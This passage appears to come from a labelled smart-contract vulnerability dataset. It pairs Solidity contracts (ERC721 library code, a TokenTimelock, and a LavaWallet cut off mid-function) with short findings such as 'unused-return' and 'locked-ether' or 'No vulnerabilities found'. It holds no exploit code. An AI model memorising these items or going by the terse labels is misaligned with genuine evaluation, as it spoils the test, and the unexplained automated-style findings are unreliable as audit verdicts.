address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | These are the vulnerabilities found
1) unused-return with Medium impact
2) locked-ether with Medium impact |
pragma solidity ^0.4.23;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
/**
* @title TokenTimelock
* @dev TokenTimelock is a token holder contract that will allow a
* beneficiary to extract the tokens after a given release time
*/
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
// ERC20 basic token contract being held
ERC20Basic public token;
// beneficiary of tokens after they are released
address public beneficiary;
// timestamp when token release is enabled
uint256 public releaseTime;
constructor(
ERC20Basic _token,
address _beneficiary,
uint256 _releaseTime
)
public
{
// solium-disable-next-line security/no-block-members
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public {
// solium-disable-next-line security/no-block-members
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
} | No vulnerabilities found |
pragma solidity ^0.4.18;
library ECRecovery {
/**
* @dev Recover signer address from a message by using their signature
* @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address.
* @param sig bytes signature, the signature is generated using web3.eth.sign()
*/
function recover(bytes32 hash, bytes sig) public pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
//Check the signature length
if (sig.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/*
This is a token wallet contract
Store your tokens in this contract to give them super powers
Tokens can be spent from the contract with only an ecSignature from the owner - onchain approve is not needed
*/
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ERC918Interface {
function totalSupply() public constant returns (uint);
function getMiningDifficulty() public constant returns (uint);
function getMiningTarget() public constant returns (uint);
function getMiningReward() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success);
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
}
contract MiningKingInterface {
function getMiningKing() public returns (address);
function transferKing(address newKing) public;
function mint(uint256 nonce, bytes32 challenge_digest) returns (bool);
event TransferKing(address from, address to);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract LavaWallet {
using SafeMath for uint;
// balances[tokenContractAddress][EthereumAccountAddress] = 0
mapping(address => mapping (address => uint256)) balances;
//token => owner => spender : amount
mapping(address => mapping (address => mapping (address => uint256))) allowed;
//mapping(address => uint256) depositedTokens;
mapping(bytes32 => uint256) burnedSignatures;
address relayKingContract;
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
event Transfer(address indexed from, address indexed to,address token, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender,address token, uint tokens);
function LavaWallet(address relayKingContractAddress ) public {
relayKingContract = relayKingContractAddress;
}
//do not allow ether to enter
function() public payable {
revert();
}
//Remember you need pre-approval for this - nice with ApproveAndCall
function depositTokens(address from, address token, uint256 tokens ) public returns (bool success)
{
//we already have approval so lets do a transferFrom - transfer the tokens into this contract
if(!ERC20Interface(token).transferFrom(from, this, tokens)) revert();
balances[token][from] = balances[token][from].add(tokens);
// depositedTokens[token] = depositedTokens[token].add(tokens);
Deposit(token, from, tokens, balances[token][from]);
return true;
}
//No approve needed, only from msg.sender
function withdrawTokens(address token, uint256 tokens) public returns (bool success){
balances[token][msg.sender] = balances[token][msg.sender].sub(tokens);
if(!ERC20Interface(token).transfer(msg.sender, tokens)) revert();
Withdraw(token, msg.sender, tokens, balances[token][msg.sender]);
return true;
}
//Requires approval so it can be public
function withdrawTokensFrom( address from, address to,address token, uint tokens) public returns (bool success) {
balances[token][from] = balances[token][from].sub(tokens);
allowed[token][from][to] = allowed[token][from][to].sub(tokens);
if(!ERC20Interface(token).transfer(to, tokens)) revert();
Withdraw(token, from, tokens, balances[token][from]);
return true;
}
function balanceOf(address token,address user) public constant returns (uint) {
return balances[token][user];
}
function allowance(address token, address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[token][tokenOwner][spender];
}
//Can also be used to remove approval by using a 'tokens' value of 0. P.S. it makes no sense to do an ApproveTokensFrom
function approveTokens(address spender, address token, uint tokens) public returns (bool success) {
allowed[token][msg.sender][spender] = tokens;
Approval(msg.sender, token, spender, tokens);
return true;
}
///transfer tokens within the lava balances
//No approve needed, only from msg.sender
function transferTokens(address to, address token, uint tokens) public returns (bool success) {
